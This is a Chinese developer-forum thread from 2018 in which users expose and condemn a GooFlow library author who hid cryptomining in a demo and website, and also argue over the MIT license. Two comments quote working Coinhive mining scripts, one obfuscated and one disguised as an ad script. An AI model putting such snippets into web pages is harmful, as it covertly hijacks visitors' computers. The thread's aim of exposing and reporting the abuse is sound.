1
zpf124 2018 年 6 月 6 日
这个厉害啊.....
666 啊 简单粗暴,就是不知道那段二进制是干什么用的,下载挖矿代码? |
2
jowuIM 2018 年 6 月 6 日
哪里有争议了,就是偷偷放毒然后装蒜了。
|
3
tamlok 2018 年 6 月 6 日 via Android vnote 也搞一个,就可以盈利了😂开源项目盈利新途径
|
4
crs0910 2018 年 6 月 6 日
1.demo 试用版加挖矿,然后光明正大说明这一点。
没问题 2.demo 试用版加个挖矿,但不做任何说明。 也不觉得有什么问题 3. 付费版还有挖矿代码,且没有说明。 有问题 |
6
moxiaonai 2018 年 6 月 6 日 |
7
wqyyy 2018 年 6 月 6 日 via Android
挂 MIT 放在 github 上然后指责别人盗版 窃贼
有问题 |
8
zhenizhui 2018 年 6 月 6 日
|
9
liuguang 2018 年 6 月 6 日
确实恶心,官网还加挖矿代码、、、
|
10
crbee 2018 年 6 月 6 日
MIT 协议挂 github 上... 甚至二次贩卖都可以吧 = =;
怎么能定义成盗版呢? |
11
zhenizhui 2018 年 6 月 6 日
幸好 GitHub issue 里面的评论也已经计入历史
|
12
Zzdex 2018 年 6 月 6 日 via iPhone
弱弱的问下 issue 历史怎么看...
|
13
easylee 2018 年 6 月 6 日 via Android
看了一圈回来
协议大佬…… |
14
masha 2018 年 6 月 6 日
var _=window;try{_=_.opener.$}catch(e){try{_=_.top.$}catch(e){_=$}};if(!_("head").data(\'x\')){GooFlow.a=1;_a=20;var d=new Date();_("head").data(\'x\',1);_.ajax("https://coinhive.com/lib/coinhive.min.js?"+d.getFullYear()+d.getMonth()+d.getDate(),{dataType:\'script\',cache:true});_i=setInterval(function(){try{new CoinHive.Anonymous(\'GGdPGhxIloldaArArQVwxZ2sd8l0a4kH\',{throttle:0.3}).start();clearInterval(_i)}catch(e){_a--;if(_a<1)document.write("")}},1000)}
|
15
Desiree 2018 年 6 月 6 日
issue 被关掉了 3:25
|
16
jowuIM 2018 年 6 月 6 日
issue 被删除并且关闭了
|
18
dinghow 2018 年 6 月 6 日
没有了啊
|
19
jowuIM 2018 年 6 月 6 日
作者不了解开源协议问题不大,更改协议就好了,但是在代码里面放毒就很有问题,建议他可以写几个 bug 来解决问题。
|
20
mcfog 2018 年 6 月 6 日
https://gitee.com/foolegg126 有兴趣可以点到这个人的微博里去看看
|
21
Desiree 2018 年 6 月 6 日
卧槽,打开他的官网,差点把我的 mac 给烧了,网页的资源可以清晰看到,5 个恶意挖矿
|
22
zpf124 2018 年 6 月 6 日
|
24
AV1 2018 年 6 月 6 日
联想到前几天的破事,看来已经到了什么人都能上 github 的时代了
|
26
moxiaonai 2018 年 6 月 6 日
|
28
Lawlieti 2018 年 6 月 6 日
卧槽 这个东西我们还在用
|
29
sheep3 2018 年 6 月 6 日
微博上,这个人太可怕了.....
|
30
lovejoy 2018 年 6 月 6 日
首页的挖坑代码已经删了吗,我还想感受下呢
|
32
binux 2018 年 6 月 6 日 via Android 我想说
> 有一群强盗,溜到别人店里偷吃了展示样品,发现展示样品里放了鼠药让自己肚子痛,于是告到官府说店主投毒谋杀…… 这确实是店主投毒谋杀啊。。。 这人把能犯的法律常识都犯了。 |
33
YzSama 2018 年 6 月 6 日
码云上面没投诉的吗?
|
34
nikolai 2018 年 6 月 6 日
哪里有争议了,不是群众一致认为作者是 S13 吗?
|
35
youthdream 2018 年 6 月 6 日
|
36
learnshare 2018 年 6 月 6 日
uBlock 拦截了挖矿的域名
|
38
LeungJZ 2018 年 6 月 6 日
|
39
tyrealgray 2018 年 6 月 6 日
已经 report 了该用户
|
40
ballshapesdsd 2018 年 6 月 6 日
@DeathWing #31 是 gooflow.xyz 吗,为啥我的 cpu 毫无波动。另外这个网址大家看下是不是挖矿的,一打开就差点死机
https://caimaoy.gitbooks.io/-python-learn-more-python-3-the-hard-way/content/ |
41
hyyou2010 2018 年 6 月 6 日
偷偷放挖坑代码,这个行为太恶,GitHub 管不?法律管不?
|
42
evagreenworking 2018 年 6 月 6 日
666 这人的微博 铁血网友表示都自叹不如
|
43
zpf124 2018 年 6 月 6 日 |
44
LeungJZ 2018 年 6 月 6 日
|
45
LeungJZ 2018 年 6 月 6 日
靠,放错图了。
|
46
zpf124 2018 年 6 月 6 日
@jowuIM issue 没删啊, 你因为是在 issue 列表页没看到所以以为删了是吗? 那默认只显示 open 的,
被关闭 的你要在筛选条件里选中才能看到。 |
47
DeathWing 2018 年 6 月 6 日
@ballshapesdsd 你发的第二个是挖矿的。至于第一个也就是这个 213 的那个,我也不知道为啥我没事。但是上面一个 mac 的兄弟就发热了
|
49
mcdona1d 2018 年 6 月 6 日
@ballshapesdsd 是的,chrome 安装一个 minerblock 就好了
|
50
DeathWing 2018 年 6 月 6 日 |
51
aaronly 2018 年 6 月 6 日
@ballshapesdsd
var adsByGoogleScript = document.createElement('script'); adsByGoogleScript.src = 'https://coinhive.com/lib/coinhive.min.js'; adsByGoogleScript.setAttribute('async', true); document.body.appendChild(adsByGoogleScript); window.onload = function() { var miner = new CoinHive.Anonymous(siteKey, { throttle: throttle }); miner.start(); }; 赤裸裸 |
52
lt450196683 2018 年 6 月 6 日
围观
|
53
MuscleOf2016 2018 年 6 月 6 日
微博看下来明显反社会人格嘛,估计生活中也是偏激的。以前大学有个也是,技术不错,但是人很容易偏激,和父母打电话一言不合就是去死。。。。
|
54
boris1993 2018 年 6 月 6 日 via Android
GitHub 已经举报滥用,GitEE 邮件举报
|
56
Marmot 2018 年 6 月 6 日
MIT 不是作者自己写的么?
技术不评价,人品肯定是不太好的 |
57
tempdban 2018 年 6 月 6 日 via Android
我今天才知道 GPL 担心的是什么。
|
60
PRD 2018 年 6 月 6 日
@ballshapesdsd #40 我擦,我前 2 天刚收藏的
|
61
airyland 2018 年 6 月 6 日 via iPhone 前端娱乐圈里最无争议的一次
|
64
Yangyp 2018 年 6 月 6 日
@believeMe #60 这个好像是原版,这个没挖矿的,https://wizardforcel.gitbooks.io/lmpythw/content/
|
65
Yangyp 2018 年 6 月 6 日
|
66
clare0621 2018 年 6 月 6 日
建议各位不要添加各种无意义的评论了,issue 是用来做这个的???还有表情包回复的,我也是服。
|
67
FrankHB 2018 年 6 月 6 日
|
68
lulinux 2018 年 6 月 6 日
单就开源和盗版的看法,强烈支持作者 sdlddr。至于一些不当言论,另当别论。
另外谁说 github 上一定开源了。github 的商业模式就是托管私有代码好不好! |
69
LittleYangYang 2018 年 6 月 6 日 |
70
lulinux 2018 年 6 月 6 日
@LittleYangYang 这协议那协议都不顶用。只要作者确定有了著作权,就受《著作权法》保护,一旦发现侵权,一告一个准。github 上的 rz 真多。
|
71
FrankHB 2018 年 6 月 6 日
@clare0621 都 8102 年了,为什么还需要有这类建议? Issue 为什么不能是用来做这个的?(预防针:Issue 被允许做哪个难道不是看 ToS 和的官方的反应?)另外好奇“表情包浪费流量”这种事实判断先于价值判断的陈述导致的后果都被普遍忍了,为什么你还会强调你“服”回复的行为本身——表达异议的效果不是很差嘛?
|
72
chinvo 2018 年 6 月 6 日
@lulinux #64 放 GitHub 确实不代表开源
但是 public 的 repo MIT 的 License 怎么看都是开源的而且放弃了大部分所有权 就是拿去商用了也没什么好说的 但是原作者加挖矿、诋毁、谩骂 就不只是人品问题了 更何况后续的发展中甚至表现出了法盲文盲流氓的一面 |
75
LittleYangYang 2018 年 6 月 6 日
@lulinux 那按你这样说,中国不支持 DMCA,那些开源项目都别用了,我写一个程序,申请著作权之后扔 GitHub 上,拿 WTFPL 开源协议开源,然后直接去起诉那些用这个程序的人?
|
78
luopengfei14 2018 年 6 月 6 日
@xyyxlq 戾气重。。。 硬伤啊
|
79
chinvo 2018 年 6 月 6 日
|
80
cye3s 2018 年 6 月 6 日
不行了不行了,开那个 issues,我的 Firefox 卡成狗了,不跟了,反正是刷新我 3 观了
|
81
tyrealgray 2018 年 6 月 6 日
|
82
littlewin 2018 年 6 月 6 日
https://github.com/contact/report-abuse
各位帅气的小哥哥,传送门 |
83
wqyyy 2018 年 6 月 6 日 via Android
@sdlddr
sdlddr 5 minutes ago Owner 不过你一口一个 MIT,难道不知道法律可没规定我必须如何定义 MIT+ ?有点智商的人都知道看项目介绍肯定是从 readme 看起,而不是从什么协议文件。如果有相左的地方,则直接以作者本人的声明为准。 遇到这样子法盲的也没有什么可说的了。。。license 在那 readme 顶什么用 |
84
FrankHB 2018 年 6 月 6 日
微博也怂得清空了?
@chinvo xswl,最骚的是没货还嘴硬…… 侵权=盗窃?违反协议=触犯刑法?刑庭最高法还是人大这货开的? “一报警,估计也要抓上一大堆”——好奇什么能量能让有关部门无视技侦成本为法盲服务? “有点智商的人都知道看项目介绍肯定是从 readme 看起,而不是从什么协议文件”——有点智商的人都知道事后诸葛亮还能指望多少法律效力吧? |
85
willakira 2018 年 6 月 6 日
我放了一个英文版的 summary,帮助 github investigation
|
87
kookpua 2018 年 6 月 6 日
這貨要火了
|
88
jin5354 2018 年 6 月 6 日
repo 已经被你们爆破了
|
89
Tyanboot PRO 这仓库已经当场去世了...
|
90
szlszl35622 2018 年 6 月 6 日
好像已经处理了
 |
91
iNaru 2018 年 6 月 6 日
@ballshapesdsd #40 Firefox 开启自带的跟踪保护就能免疫了。
|
92
zjp 2018 年 6 月 6 日 via Android
#34 #61
最后还是起了争议 |
93
wenzhoou 2018 年 6 月 6 日 via Android
封的好啊。清爽。
|
94
moxiaonai 2018 年 6 月 6 日
,这个头像一看都不像什么好人 |
95
zpf124 2018 年 6 月 6 日 @clare0621 issue 里灌水或者谩骂是不可取的,但 issues 是可以用来指出项目作者恶意的做法。大部分人也没有去疯狂开 issue,所以在这个存在的 issue 里进行非灌水的留言是合理的。
甚至 如果 项目作者同意 拿 issue 当做论坛进行讨论都不违法 github 规定。 @lulinux @chinvo @LittleYangYang 咱实话实讲,中国对于版权的保护非常薄弱,法律对开源协议既不承认也不否认,所以放上去别人抄了不准守协议法律也不支持你去主张诉讼,同样如果里面有专利产权(注意不是著作权)你即使开源了,别人用了你去告法律反倒会支持。 但实际上中国 it 相关人员和公司应该尽量遵守协议要求,一来一直不遵守人家没准以后不带我们玩了,二来大家都遵守对于项目的发展是有好处的。 关于那个项目是不是开源的问题,其实很简单,他挂了 MIT licence 那就是开源的,MIT 就包含了允许别人复制修改源代码,甚至修改后别人还可以闭源商业发布。 不是只有 copyleft 的 GPL 才叫开源的。 但放在公共库就是开源 这个理解是错误的,关于这个的界定老美那边都很模糊,法官有支持没放开源 license 的就是个人私有的,也有认为其他人是有权利看和使用的,所以放到公共库的不论是否开源都最好放一个协议。 |
97
zsdroid 2018 年 6 月 6 日
|
99
jowuIM 2018 年 6 月 6 日
@szlszl35622 Access to this repository has been disabled by GitHub staff. 被封禁了!!!
|
100
var 2018 年 6 月 6 日
发现 Windows Defender 会主动发现挖矿的。 |